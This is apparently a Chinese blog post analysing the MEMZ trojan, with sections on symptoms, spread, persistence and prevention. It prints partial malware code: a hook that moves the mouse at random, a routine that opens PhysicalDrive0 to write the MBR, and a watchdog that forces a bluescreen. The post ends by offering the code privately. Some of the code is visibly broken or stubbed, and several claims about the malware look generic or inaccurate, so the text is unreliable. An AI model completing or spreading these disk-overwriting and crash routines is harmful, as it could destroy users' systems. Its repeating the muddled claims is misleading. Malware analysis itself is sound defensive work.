彩虹猫(MEMZ)病毒:揭秘与防范

在网络安全领域,病毒和恶意软件始终是威胁用户信息安全的重要因素之一。近期,一种名为“彩虹猫(MEMZ)”的病毒在网络上引起了广泛关注。本文将详细分析该病毒的特征、传播方式以及防范措施,帮助用户更好地了解和应对这一威胁。我最近也拿到彩虹猫的代码,我进行一个分析:

一、病毒概述

彩虹猫(MEMZ)病毒是一种具有较高传播性和隐蔽性的恶意软件。它通过多种途径感染用户的计算机系统,给用户的正常操作带来极大困扰。该病毒的主要特征包括:

  1. 系统资源占用:感染后,病毒会在后台运行,占用大量系统资源,导致计算机运行缓慢甚至卡顿。

  2. 弹出广告:用户可能会频繁遇到弹出式广告,这些广告不仅干扰正常操作,还可能包含恶意链接,进一步威胁用户的网络安全。

  3. 修改系统设置:病毒可能会修改系统的关键设置,如浏览器主页、启动项等,使用户的计算机处于不稳定状态。

二、传播途径

彩虹猫(MEMZ)病毒的传播途径多种多样,主要包括以下几种:

  1. 电子邮件附件:病毒制作者会通过伪装成正常文件的电子邮件附件进行传播。用户一旦下载并打开这些附件,病毒就会自动安装并运行。

  2. 恶意下载链接:在一些不安全的网站上,病毒可能会通过伪装成正常软件的下载链接进行传播。用户在下载软件时,如果不小心点击了这些链接,就可能感染病毒。

  3. 社交媒体分享:病毒还可能通过社交媒体平台进行传播,例如伪装成有趣的视频或图片链接,诱导用户点击。

三、病毒的运行机制

彩虹猫(MEMZ)病毒在感染计算机后,会通过以下机制进行自我复制和传播:

  1. 修改MBR(主引导记录):病毒会修改计算机的MBR,使其在开机时自动加载病毒程序。这种修改使得病毒能够在系统启动的早期阶段就开始运行,增加了其隐蔽性和难以清除的特性。

  2. 注入系统进程:病毒会将自己的代码注入到系统的关键进程中,如浏览器、杀毒软件等。通过这种方式,病毒可以躲避杀毒软件的检测,同时还能在后台进行各种恶意操作。

  3. 利用漏洞传播:病毒会利用系统或软件的漏洞进行传播。例如,如果用户的浏览器存在未修复的漏洞,病毒就可能通过该漏洞进入系统。

这是一种特洛伊木马,主要由C++和汇编语言编写,具有多阶段感染特性。

以下是其代码的一些关键特征:

(1)多阶段感染机制

MEMZ病毒通过多个阶段逐步感染系统,每个阶段都会自动触发下一个阶段。例如:

  • 第一阶段:通过修改MBR(主引导记录)实现开机自启。

  • 第二阶段:通过创建计划任务或修改系统启动项,确保病毒在系统启动时自动运行。

(2)提权与系统操作

病毒会通过调用RtlAdjustPrivilegeNtRaiseHardError等函数,绕过用户账户控制(UAC)并获取更高权限。这些函数通常用于恶意程序的提权操作。

(3)进程监控与自我保护

病毒会通过创建线程监控系统进程,确保自身不会被用户轻易关闭。例如:

  • 使用CreateToolhelp32SnapshotProcess32Next函数遍历系统进程。

  • 如果检测到自身进程被关闭,病毒会触发蓝屏或强制关机。

(4)随机性与干扰行为

MEMZ病毒会通过随机生成的行为干扰用户操作,例如:

  • 随机移动鼠标指针。

    病毒通过设置Windows钩子(SetWindowsHookEx)来监控鼠标事件,并通过随机数生成函数控制鼠标指针的移动:

    LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        if (nCode == 3)
        {
            DWORD *cte = *(DWORD**)lParam;
            if ((*(*(DWORD**)lParam + 32) & 0x80400000) != 0)
            {
                int mid_wide = random1() % (wide - cte[5]);
                int mid_high = random1() % (high - cte[4]);
                cte[7] = mid_wide;
                cte[6] = mid_high;
            }
        }
        return CallNextHookEx(0, nCode, wParam, lParam);
    }
  • 随机弹出窗口或消息框。

  • 使用CryptGenRandom函数生成随机数,用于控制鼠标位置或窗口位置。

int random1()
{
    HCRYPTPROV v1;
    BYTE pbBuffer[4] = {0};
    v1 = hProv;
    if (!hProv)
    {
        if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
            ExitProcess(1u);
        v1 = hProv;
    }
    CryptGenRandom(v1, 4u, pbBuffer);
    return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}
(5)MBR修改与持久化

病毒会通过修改硬盘的MBR来实现持久化,确保在系统重启后仍然能够运行。例如:

  • 使用CreateFileA打开物理驱动器,并向其写入恶意代码。

  • 修改MBR后,系统启动时会加载病毒代码。

    void ModifyMBR()
    {
        HANDLE hDrive = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
        if (hDrive != INVALID_HANDLE_VALUE)
        {
            BYTE mbr[512] = {0};
            ReadFile(hDrive, mbr, 512, 0, 0);  // 读取当前MBR
            // 修改MBR内容
            WriteFile(hDrive, mbr, 512, 0, 0);
            CloseHandle(hDrive);
        }
    }
  • 病毒会监控自身进程数量,一旦发现进程减少,会通过调用NtRaiseHardError触发蓝屏或强制关机。

    void sub_40114A()
    {
        // 获取当前进程路径
        char* processPath = LocalAlloc(0x40, 0x200);
        GetCurrentProcessImageFileNameA(GetCurrentProcess(), processPath, 0x200);
    
        // 每隔一段时间检查进程数量
        while (1)
        {
            int processCount = 0;
            HANDLE snapshot = CreateToolhelp32Snapshot(2, 0);
            PROCESSENTRY32W pe = {sizeof(PROCESSENTRY32W)};
            if (Process32FirstW(snapshot, &pe))
            {
                do
                {
                    if (!strcmp(processPath, GetProcessImageFileNameA(OpenProcess(0x400, FALSE, pe.th32ProcessID))))
                        processCount++;
                } while (Process32NextW(snapshot, &pe));
            }
            CloseHandle(snapshot);
    
            // 如果进程数量减少,触发蓝屏
            if (processCount < expectedCount)
                sub_401021();  // 调用蓝屏函数
            Sleep(10000);  // 休眠10秒
        }
    }

四、病毒代码的防范措施

针对MEMZ病毒的代码特征,以下是一些防范措施:

(1)使用安全工具
  • 安装并更新可靠的杀毒软件,定期进行全盘扫描。

  • 使用安全工具(如Process Monitor)监控系统进程和注册表操作。

(2)系统加固
  • 及时更新操作系统和软件,修复已知漏洞。

  • 禁用不必要的系统服务,减少被攻击的入口。

(3)用户行为防范
  • 避免运行来源不明的文件,尤其是.exe.bat文件。

  • 不要轻易点击弹出窗口或消息框中的链接。

(4)备份与恢复
  • 定期备份重要数据,以便在系统感染后能够快速恢复。

  • 如果系统被感染,尝试使用安全模式或系统还原功能恢复。

需要的同学可以私信我

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值